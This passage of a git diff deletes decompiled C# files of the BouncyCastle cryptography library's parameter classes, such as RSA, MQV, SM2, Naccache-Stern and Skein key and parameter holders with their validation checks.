throw new ArgumentOutOfRangeException("keyOff"); - } - if (keyLen < 0 || keyLen > key.Length - keyOff) - { - throw new ArgumentOutOfRangeException("keyLen"); - } - this.key = new byte[keyLen]; - Array.Copy(key, keyOff, this.key, 0, keyLen); - } - - public byte[] GetKey() - { - return (byte[])key.Clone(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/MgfParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/MgfParameters.cs deleted file mode 100644 index 12165a8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/MgfParameters.cs +++ /dev/null @@ -1,24 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class MgfParameters : IDerivationParameters -{ - private readonly byte[] seed; - - public MgfParameters(byte[] seed) - : this(seed, 0, seed.Length) - { - } - - public MgfParameters(byte[] seed, int off, int len) - { - this.seed = new byte[len]; - Array.Copy(seed, off, this.seed, 0, len); - } - - public byte[] GetSeed() - { - return (byte[])seed.Clone(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/MqvPrivateParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/MqvPrivateParameters.cs deleted file mode 100644 index 8a40ff6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/MqvPrivateParameters.cs +++ /dev/null @@ -1,51 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class MqvPrivateParameters : ICipherParameters -{ - private readonly ECPrivateKeyParameters staticPrivateKey; - - private readonly ECPrivateKeyParameters ephemeralPrivateKey; - - private readonly ECPublicKeyParameters ephemeralPublicKey; - - public virtual ECPrivateKeyParameters StaticPrivateKey => staticPrivateKey; - - public virtual ECPrivateKeyParameters EphemeralPrivateKey => ephemeralPrivateKey; - - public virtual ECPublicKeyParameters EphemeralPublicKey => ephemeralPublicKey; - - public MqvPrivateParameters(ECPrivateKeyParameters staticPrivateKey, ECPrivateKeyParameters ephemeralPrivateKey) - : this(staticPrivateKey, ephemeralPrivateKey, null) - { - } - - public MqvPrivateParameters(ECPrivateKeyParameters staticPrivateKey, ECPrivateKeyParameters ephemeralPrivateKey, ECPublicKeyParameters ephemeralPublicKey) - { - if (staticPrivateKey == null) - { - throw new ArgumentNullException("staticPrivateKey"); - } - if (ephemeralPrivateKey == null) - { - throw new ArgumentNullException("ephemeralPrivateKey"); - } - ECDomainParameters parameters = staticPrivateKey.Parameters; - if (!parameters.Equals(ephemeralPrivateKey.Parameters)) - { - throw new ArgumentException("Static and ephemeral private keys have different domain parameters"); - } - if (ephemeralPublicKey == null) - { - ephemeralPublicKey = new ECPublicKeyParameters(parameters.G.Multiply(ephemeralPrivateKey.D), parameters); - } - else if (!parameters.Equals(ephemeralPublicKey.Parameters)) - { - throw new ArgumentException("Ephemeral public key has different domain parameters"); - } - this.staticPrivateKey = staticPrivateKey; - this.ephemeralPrivateKey = ephemeralPrivateKey; - this.ephemeralPublicKey = ephemeralPublicKey; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/MqvPublicParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/MqvPublicParameters.cs deleted file mode 100644 index 3463527..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/MqvPublicParameters.cs +++ /dev/null @@ -1,32 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class MqvPublicParameters : ICipherParameters -{ - private readonly ECPublicKeyParameters staticPublicKey; - - private readonly ECPublicKeyParameters ephemeralPublicKey; - - public virtual ECPublicKeyParameters StaticPublicKey => staticPublicKey; - - public virtual ECPublicKeyParameters EphemeralPublicKey => ephemeralPublicKey; - - public MqvPublicParameters(ECPublicKeyParameters staticPublicKey, ECPublicKeyParameters ephemeralPublicKey) - { - if (staticPublicKey == null) - { - throw new ArgumentNullException("staticPublicKey"); - } - if (ephemeralPublicKey == null) - { - throw new ArgumentNullException("ephemeralPublicKey"); - } - if (!staticPublicKey.Parameters.Equals(ephemeralPublicKey.Parameters)) - { - throw new ArgumentException("Static and ephemeral public keys have different domain parameters"); - } - this.staticPublicKey = staticPublicKey; - this.ephemeralPublicKey = ephemeralPublicKey; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/NaccacheSternKeyGenerationParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/NaccacheSternKeyGenerationParameters.cs deleted file mode 100644 index 22b3231..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/NaccacheSternKeyGenerationParameters.cs +++ /dev/null @@ -1,39 +0,0 @@ -using System; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class NaccacheSternKeyGenerationParameters : KeyGenerationParameters -{ - private readonly int certainty; - - private readonly int countSmallPrimes; - - public int Certainty => certainty; - - public int CountSmallPrimes => countSmallPrimes; - - [Obsolete("Remove: always false")] - public bool IsDebug => false; - - public NaccacheSternKeyGenerationParameters(SecureRandom random, int strength, int certainty, int countSmallPrimes) - : base(random, strength) - { - if (countSmallPrimes % 2 == 1) - { - throw new ArgumentException("countSmallPrimes must be a multiple of 2"); - } - if (countSmallPrimes < 30) - { - throw new ArgumentException("countSmallPrimes must be >= 30 for security reasons"); - } - this.certainty = certainty; - this.countSmallPrimes = countSmallPrimes; - } - - [Obsolete("Use version without 'debug' parameter")] - public NaccacheSternKeyGenerationParameters(SecureRandom random, int strength, int certainty, int countSmallPrimes, bool debug) - : this(random, strength, certainty, countSmallPrimes) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/NaccacheSternKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/NaccacheSternKeyParameters.cs deleted file mode 100644 index a87dff5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/NaccacheSternKeyParameters.cs +++ /dev/null @@ -1,26 +0,0 @@ -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class NaccacheSternKeyParameters : AsymmetricKeyParameter -{ - private readonly BigInteger g; - - private readonly BigInteger n; - - private readonly int lowerSigmaBound; - - public BigInteger G => g; - - public int LowerSigmaBound => lowerSigmaBound; - - public BigInteger Modulus => n; - - public NaccacheSternKeyParameters(bool privateKey, BigInteger g, BigInteger n, int lowerSigmaBound) - : base(privateKey) - { - this.g = g; - this.n = n; - this.lowerSigmaBound = lowerSigmaBound; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/NaccacheSternPrivateKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/NaccacheSternPrivateKeyParameters.cs deleted file mode 100644 index 1a8bad3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/NaccacheSternPrivateKeyParameters.cs +++ /dev/null @@ -1,34 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class NaccacheSternPrivateKeyParameters : NaccacheSternKeyParameters -{ - private readonly BigInteger phiN; - - private readonly IList smallPrimes; - - public BigInteger PhiN => phiN; - - [Obsolete("Use 'SmallPrimesList' instead")] - public ArrayList SmallPrimes => new ArrayList(smallPrimes); - - public IList SmallPrimesList => smallPrimes; - - [Obsolete] - public NaccacheSternPrivateKeyParameters(BigInteger g, BigInteger n, int lowerSigmaBound, ArrayList smallPrimes, BigInteger phiN) - : base(privateKey: true, g, n, lowerSigmaBound) - { - this.smallPrimes = smallPrimes; - this.phiN = phiN; - } - - public NaccacheSternPrivateKeyParameters(BigInteger g, BigInteger n, int lowerSigmaBound, IList smallPrimes, BigInteger phiN) - : base(privateKey: true, g, n, lowerSigmaBound) - { - this.smallPrimes = smallPrimes; - this.phiN = phiN; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ParametersWithID.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ParametersWithID.cs deleted file mode 100644 index 15b12ea..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ParametersWithID.cs +++ /dev/null @@ -1,28 +0,0 @@ -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class ParametersWithID : ICipherParameters -{ - private readonly ICipherParameters parameters; - - private readonly byte[] id; - - public ICipherParameters Parameters => parameters; - - public ParametersWithID(ICipherParameters parameters, byte[] id) - : this(parameters, id, 0, id.Length) - { - } - - public ParametersWithID(ICipherParameters parameters, byte[] id, int idOff, int idLen) - { - this.parameters = parameters; - this.id = Arrays.CopyOfRange(id, idOff, idOff + idLen); - } - - public byte[] GetID() - { - return id; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ParametersWithIV.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ParametersWithIV.cs deleted file mode 100644 index d27f8d9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ParametersWithIV.cs +++ /dev/null @@ -1,33 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class ParametersWithIV : ICipherParameters -{ - private readonly ICipherParameters parameters; - - private readonly byte[] iv; - - public ICipherParameters Parameters => parameters; - - public ParametersWithIV(ICipherParameters parameters, byte[] iv) - : this(parameters, iv, 0, iv.Length) - { - } - - public ParametersWithIV(ICipherParameters parameters, byte[] iv, int ivOff, int ivLen) - { - if (iv == null) - { - throw new ArgumentNullException("iv"); - } - this.parameters = parameters; - this.iv = Arrays.CopyOfRange(iv, ivOff, ivOff + ivLen); - } - - public byte[] GetIV() - { - return (byte[])iv.Clone(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ParametersWithRandom.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ParametersWithRandom.cs deleted file mode 100644 index 3d61670..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ParametersWithRandom.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class ParametersWithRandom : ICipherParameters -{ - private readonly ICipherParameters parameters; - - private readonly SecureRandom random; - - public SecureRandom Random => random; - - public ICipherParameters Parameters => parameters; - - public ParametersWithRandom(ICipherParameters parameters, SecureRandom random) - { - if (parameters == null) - { - throw new ArgumentNullException("parameters"); - } - if (random == null) - { - throw new ArgumentNullException("random"); - } - this.parameters = parameters; - this.random = random; - } - - public ParametersWithRandom(ICipherParameters parameters) - : this(parameters, new SecureRandom()) - { - } - - [Obsolete("Use Random property instead")] - public SecureRandom GetRandom() - { - return Random; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ParametersWithSBox.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ParametersWithSBox.cs deleted file mode 100644 index c6bea6c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ParametersWithSBox.cs +++ /dev/null @@ -1,21 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Parameters; - -public class ParametersWithSBox : ICipherParameters -{ - private ICipherParameters parameters; - - private byte[] sBox; - - public ICipherParameters Parameters => parameters; - - public ParametersWithSBox(ICipherParameters parameters, byte[] sBox) - { - this.parameters = parameters; - this.sBox = sBox; - } - - public byte[] GetSBox() - { - return sBox; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ParametersWithSalt.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ParametersWithSalt.cs deleted file mode 100644 index 393ab6e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ParametersWithSalt.cs +++ /dev/null @@ -1,29 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class ParametersWithSalt : ICipherParameters -{ - private byte[] salt; - - private ICipherParameters parameters; - - public ICipherParameters Parameters => parameters; - - public ParametersWithSalt(ICipherParameters parameters, byte[] salt) - : this(parameters, salt, 0, salt.Length) - { - } - - public ParametersWithSalt(ICipherParameters parameters, byte[] salt, int saltOff, int saltLen) - { - this.salt = new byte[saltLen]; - this.parameters = parameters; - Array.Copy(salt, saltOff, this.salt, 0, saltLen); - } - - public byte[] GetSalt() - { - return salt; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/RC2Parameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/RC2Parameters.cs deleted file mode 100644 index e3aad62..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/RC2Parameters.cs +++ /dev/null @@ -1,30 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Parameters; - -public class RC2Parameters : KeyParameter -{ - private readonly int bits; - - public int EffectiveKeyBits => bits; - - public RC2Parameters(byte[] key) - : this(key, (key.Length > 128) ? 1024 : (key.Length * 8)) - { - } - - public RC2Parameters(byte[] key, int keyOff, int keyLen) - : this(key, keyOff, keyLen, (keyLen > 128) ? 1024 : (keyLen * 8)) - { - } - - public RC2Parameters(byte[] key, int bits) - : base(key) - { - this.bits = bits; - } - - public RC2Parameters(byte[] key, int keyOff, int keyLen, int bits) - : base(key, keyOff, keyLen) - { - this.bits = bits; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/RC5Parameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/RC5Parameters.cs deleted file mode 100644 index 2e4b646..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/RC5Parameters.cs +++ /dev/null @@ -1,20 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class RC5Parameters : KeyParameter -{ - private readonly int rounds; - - public int Rounds => rounds; - - public RC5Parameters(byte[] key, int rounds) - : base(key) - { - if (key.Length > 255) - { - throw new ArgumentException("RC5 key length can be no greater than 255"); - } - this.rounds = rounds; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/RsaBlindingParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/RsaBlindingParameters.cs deleted file mode 100644 index 20517a6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/RsaBlindingParameters.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class RsaBlindingParameters : ICipherParameters -{ - private readonly RsaKeyParameters publicKey; - - private readonly BigInteger blindingFactor; - - public RsaKeyParameters PublicKey => publicKey; - - public BigInteger BlindingFactor => blindingFactor; - - public RsaBlindingParameters(RsaKeyParameters publicKey, BigInteger blindingFactor) - { - if (publicKey.IsPrivate) - { - throw new ArgumentException("RSA parameters should be for a public key"); - } - this.publicKey = publicKey; - this.blindingFactor = blindingFactor; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/RsaKeyGenerationParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/RsaKeyGenerationParameters.cs deleted file mode 100644 index 454f59e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/RsaKeyGenerationParameters.cs +++ /dev/null @@ -1,41 +0,0 @@ -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class RsaKeyGenerationParameters : KeyGenerationParameters -{ - private readonly BigInteger publicExponent; - - private readonly int certainty; - - public BigInteger PublicExponent => publicExponent; - - public int Certainty => certainty; - - public RsaKeyGenerationParameters(BigInteger publicExponent, SecureRandom random, int strength, int certainty) - : base(random, strength) - { - this.publicExponent = publicExponent; - this.certainty = certainty; - } - - public override bool Equals(object obj) - { - if (!(obj is RsaKeyGenerationParameters rsaKeyGenerationParameters)) - { - return false; - } - if (certainty == rsaKeyGenerationParameters.certainty) - { - return publicExponent.Equals(rsaKeyGenerationParameters.publicExponent); - } - return false; - } - - public override int GetHashCode() - { - int num = certainty; - return num.GetHashCode() ^ publicExponent.GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/RsaKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/RsaKeyParameters.cs deleted file mode 100644 index 839e058..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/RsaKeyParameters.cs +++ /dev/null @@ -1,75 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class RsaKeyParameters : AsymmetricKeyParameter -{ - private static BigInteger SmallPrimesProduct = new BigInteger("8138E8A0FCF3A4E84A771D40FD305D7F4AA59306D7251DE54D98AF8FE95729A1F73D893FA424CD2EDC8636A6C3285E022B0E3866A565AE8108EED8591CD4FE8D2CE86165A978D719EBF647F362D33FCA29CD179FB42401CBAF3DF0C614056F9C8F3CFD51E474AFB6BC6974F78DB8ABA8E9E517FDED658591AB7502BD41849462F", 16); - - private readonly BigInteger modulus; - - private readonly BigInteger exponent; - - public BigInteger Modulus => modulus; - - public BigInteger Exponent => exponent; - - private static BigInteger Validate(BigInteger modulus) - { - if ((modulus.IntValue & 1) == 0) - { - throw new ArgumentException("RSA modulus is even", "modulus"); - } - if (!modulus.Gcd(SmallPrimesProduct).Equals(BigInteger.One)) - { - throw new ArgumentException("RSA modulus has a small prime factor"); - } - return modulus; - } - - public RsaKeyParameters(bool isPrivate, BigInteger modulus, BigInteger exponent) - : base(isPrivate) - { - if (modulus == null) - { - throw new ArgumentNullException("modulus"); - } - if (exponent == null) - { - throw new ArgumentNullException("exponent"); - } - if (modulus.SignValue <= 0) - { - throw new ArgumentException("Not a valid RSA modulus", "modulus"); - } - if (exponent.SignValue <= 0) - { - throw new ArgumentException("Not a valid RSA exponent", "exponent"); - } - if (!isPrivate && (exponent.IntValue & 1) == 0) - { - throw new ArgumentException("RSA publicExponent is even", "exponent"); - } - this.modulus = Validate(modulus); - this.exponent = exponent; - } - - public override bool Equals(object obj) - { - if (!(obj is RsaKeyParameters rsaKeyParameters)) - { - return false; - } - if (rsaKeyParameters.IsPrivate == base.IsPrivate && rsaKeyParameters.Modulus.Equals(modulus)) - { - return rsaKeyParameters.Exponent.Equals(exponent); - } - return false; - } - - public override int GetHashCode() - { - return modulus.GetHashCode() ^ exponent.GetHashCode() ^ base.IsPrivate.GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/RsaPrivateCrtKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/RsaPrivateCrtKeyParameters.cs deleted file mode 100644 index 0eddc99..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/RsaPrivateCrtKeyParameters.cs +++ /dev/null @@ -1,88 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class RsaPrivateCrtKeyParameters : RsaKeyParameters -{ - private readonly BigInteger e; - - private readonly BigInteger p; - - private readonly BigInteger q; - - private readonly BigInteger dP; - - private readonly BigInteger dQ; - - private readonly BigInteger qInv; - - public BigInteger PublicExponent => e; - - public BigInteger P => p; - - public BigInteger Q => q; - - public BigInteger DP => dP; - - public BigInteger DQ => dQ; - - public BigInteger QInv => qInv; - - public RsaPrivateCrtKeyParameters(BigInteger modulus, BigInteger publicExponent, BigInteger privateExponent, BigInteger p, BigInteger q, BigInteger dP, BigInteger dQ, BigInteger qInv) - : base(isPrivate: true, modulus, privateExponent) - { - ValidateValue(publicExponent, "publicExponent", "exponent"); - ValidateValue(p, "p", "P value"); - ValidateValue(q, "q", "Q value"); - ValidateValue(dP, "dP", "DP value"); - ValidateValue(dQ, "dQ", "DQ value"); - ValidateValue(qInv, "qInv", "InverseQ value"); - e = publicExponent; - this.p = p; - this.q = q; - this.dP = dP; - this.dQ = dQ; - this.qInv = qInv; - } - - public RsaPrivateCrtKeyParameters(RsaPrivateKeyStructure rsaPrivateKey) - : this(rsaPrivateKey.Modulus, rsaPrivateKey.PublicExponent, rsaPrivateKey.PrivateExponent, rsaPrivateKey.Prime1, rsaPrivateKey.Prime2, rsaPrivateKey.Exponent1, rsaPrivateKey.Exponent2, rsaPrivateKey.Coefficient) - { - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is RsaPrivateCrtKeyParameters rsaPrivateCrtKeyParameters)) - { - return false; - } - if (rsaPrivateCrtKeyParameters.DP.Equals(dP) && rsaPrivateCrtKeyParameters.DQ.Equals(dQ) && rsaPrivateCrtKeyParameters.Exponent.Equals(base.Exponent) && rsaPrivateCrtKeyParameters.Modulus.Equals(base.Modulus) && rsaPrivateCrtKeyParameters.P.Equals(p) && rsaPrivateCrtKeyParameters.Q.Equals(q) && rsaPrivateCrtKeyParameters.PublicExponent.Equals(e)) - { - return rsaPrivateCrtKeyParameters.QInv.Equals(qInv); - } - return false; - } - - public override int GetHashCode() - { - return DP.GetHashCode() ^ DQ.GetHashCode() ^ base.Exponent.GetHashCode() ^ base.Modulus.GetHashCode() ^ P.GetHashCode() ^ Q.GetHashCode() ^ PublicExponent.GetHashCode() ^ QInv.GetHashCode(); - } - - private static void ValidateValue(BigInteger x, string name, string desc) - { - if (x == null) - { - throw new ArgumentNullException(name); - } - if (x.SignValue <= 0) - { - throw new ArgumentException("Not a valid RSA " + desc, name); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/SM2KeyExchangePrivateParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/SM2KeyExchangePrivateParameters.cs deleted file mode 100644 index 2e065c4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/SM2KeyExchangePrivateParameters.cs +++ /dev/null @@ -1,49 +0,0 @@ -using System; -using Org.BouncyCastle.Math.EC; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class SM2KeyExchangePrivateParameters : ICipherParameters -{ - private readonly bool mInitiator; - - private readonly ECPrivateKeyParameters mStaticPrivateKey; - - private readonly ECPoint mStaticPublicPoint; - - private readonly ECPrivateKeyParameters mEphemeralPrivateKey; - - private readonly ECPoint mEphemeralPublicPoint; - - public virtual bool IsInitiator => mInitiator; - - public virtual ECPrivateKeyParameters StaticPrivateKey => mStaticPrivateKey; - - public virtual ECPoint StaticPublicPoint => mStaticPublicPoint; - - public virtual ECPrivateKeyParameters EphemeralPrivateKey => mEphemeralPrivateKey; - - public virtual ECPoint EphemeralPublicPoint => mEphemeralPublicPoint; - - public SM2KeyExchangePrivateParameters(bool initiator, ECPrivateKeyParameters staticPrivateKey, ECPrivateKeyParameters ephemeralPrivateKey) - { - if (staticPrivateKey == null) - { - throw new ArgumentNullException("staticPrivateKey"); - } - if (ephemeralPrivateKey == null) - { - throw new ArgumentNullException("ephemeralPrivateKey"); - } - ECDomainParameters parameters = staticPrivateKey.Parameters; - if (!parameters.Equals(ephemeralPrivateKey.Parameters)) - { - throw new ArgumentException("Static and ephemeral private keys have different domain parameters"); - } - mInitiator = initiator; - mStaticPrivateKey = staticPrivateKey; - mStaticPublicPoint = parameters.G.Multiply(staticPrivateKey.D).Normalize(); - mEphemeralPrivateKey = ephemeralPrivateKey; - mEphemeralPublicPoint = parameters.G.Multiply(ephemeralPrivateKey.D).Normalize(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/SM2KeyExchangePublicParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/SM2KeyExchangePublicParameters.cs deleted file mode 100644 index db01ad9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/SM2KeyExchangePublicParameters.cs +++ /dev/null @@ -1,32 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class SM2KeyExchangePublicParameters : ICipherParameters -{ - private readonly ECPublicKeyParameters mStaticPublicKey; - - private readonly ECPublicKeyParameters mEphemeralPublicKey; - - public virtual ECPublicKeyParameters StaticPublicKey => mStaticPublicKey; - - public virtual ECPublicKeyParameters EphemeralPublicKey => mEphemeralPublicKey; - - public SM2KeyExchangePublicParameters(ECPublicKeyParameters staticPublicKey, ECPublicKeyParameters ephemeralPublicKey) - { - if (staticPublicKey == null) - { - throw new ArgumentNullException("staticPublicKey"); - } - if (ephemeralPublicKey == null) - { - throw new ArgumentNullException("ephemeralPublicKey"); - } - if (!staticPublicKey.Parameters.Equals(ephemeralPublicKey.Parameters)) - { - throw new ArgumentException("Static and ephemeral public keys have different domain parameters"); - } - mStaticPublicKey = staticPublicKey; - mEphemeralPublicKey = ephemeralPublicKey; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/SkeinParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/SkeinParameters.cs deleted file mode 100644 index fa0abbe..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/SkeinParameters.cs +++ /dev/null @@ -1,225 +0,0 @@ -using System; -using System.Collections; -using System.Globalization; -using System.IO; -using System.Text; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class SkeinParameters : ICipherParameters -{ - public class Builder - { - private IDictionary parameters = Platform.CreateHashtable(); - - public Builder() - { - } - - public Builder(IDictionary paramsMap) - { - IEnumerator enumerator = paramsMap.Keys.GetEnumerator(); - while (enumerator.MoveNext()) - { - int num = (int)enumerator.Current; - parameters.Add(num, paramsMap[num]); - } - } - - public Builder(SkeinParameters parameters) - { - IEnumerator enumerator = parameters.parameters.Keys.GetEnumerator(); - while (enumerator.MoveNext()) - { - int num = (int)enumerator.Current; - this.parameters.Add(num, parameters.parameters[num]); - } - } - - public Builder Set(int type, byte[] value) - { - if (value == null) - { - throw new ArgumentException("Parameter value must not be null."); - } - switch (type) - { - default: - throw new ArgumentException("Parameter types must be in the range 0,5..47,49..62."); - case 0: - case 5: - case 6: - case 7: - case 8: - case 9: - case 10: - case 11: - case 12: - case 13: - case 14: - case 15: - case 16: - case 17: - case 18: - case 19: - case 20: - case 21: - case 22: - case 23: - case 24: - case 25: - case 26: - case 27: - case 28: - case 29: - case 30: - case 31: - case 32: - case 33: - case 34: - case 35: - case 36: - case 37: - case 38: - case 39: - case 40: - case 41: - case 42: - case 43: - case 44: - case 45: - case 46: - case 47: - case 49: - case 50: - case 51: - case 52: - case 53: - case 54: - case 55: - case 56: - case 57: - case 58: - case 59: - case 60: - case 61: - case 62: - if (type == 4) - { - throw new ArgumentException("Parameter type " + 4 + " is reserved for internal use."); - } - parameters.Add(type, value); - return this; - } - } - - public Builder SetKey(byte[] key) - { - return Set(0, key); - } - - public Builder SetPersonalisation(byte[] personalisation) - { - return Set(8, personalisation); - } - - public Builder SetPersonalisation(DateTime date, string emailAddress, string distinguisher) - { - try - { - MemoryStream memoryStream = new MemoryStream(); - StreamWriter streamWriter = new StreamWriter(memoryStream, Encoding.UTF8); - streamWriter.Write(date.ToString("YYYYMMDD", CultureInfo.InvariantCulture)); - streamWriter.Write(" "); - streamWriter.Write(emailAddress); - streamWriter.Write(" "); - streamWriter.Write(distinguisher); - Platform.Dispose(streamWriter); - return Set(8, memoryStream.ToArray()); - } - catch (IOException innerException) - { - throw new InvalidOperationException("Byte I/O failed.", innerException); - } - } - - public Builder SetPublicKey(byte[] publicKey) - { - return Set(12, publicKey); - } - - public Builder SetKeyIdentifier(byte[] keyIdentifier) - { - return Set(16, keyIdentifier); - } - - public Builder SetNonce(byte[] nonce) - { - return Set(20, nonce); - } - - public SkeinParameters Build() - { - return new SkeinParameters(parameters); - } - } - - public const int PARAM_TYPE_KEY = 0; - - public const int PARAM_TYPE_CONFIG = 4; - - public const int PARAM_TYPE_PERSONALISATION = 8; - - public const int PARAM_TYPE_PUBLIC_KEY = 12; - - public const int PARAM_TYPE_KEY_IDENTIFIER = 16; - - public const int PARAM_TYPE_NONCE = 20; - - public const int PARAM_TYPE_MESSAGE = 48; - - public const int PARAM_TYPE_OUTPUT = 63; - - private IDictionary parameters; - - public SkeinParameters() - : this(Platform.CreateHashtable()) - { - } - - private SkeinParameters(IDictionary parameters) - { - this.parameters = parameters; - } - - public IDictionary GetParameters() - { - return parameters; - } - - public byte[] GetKey() - { - return 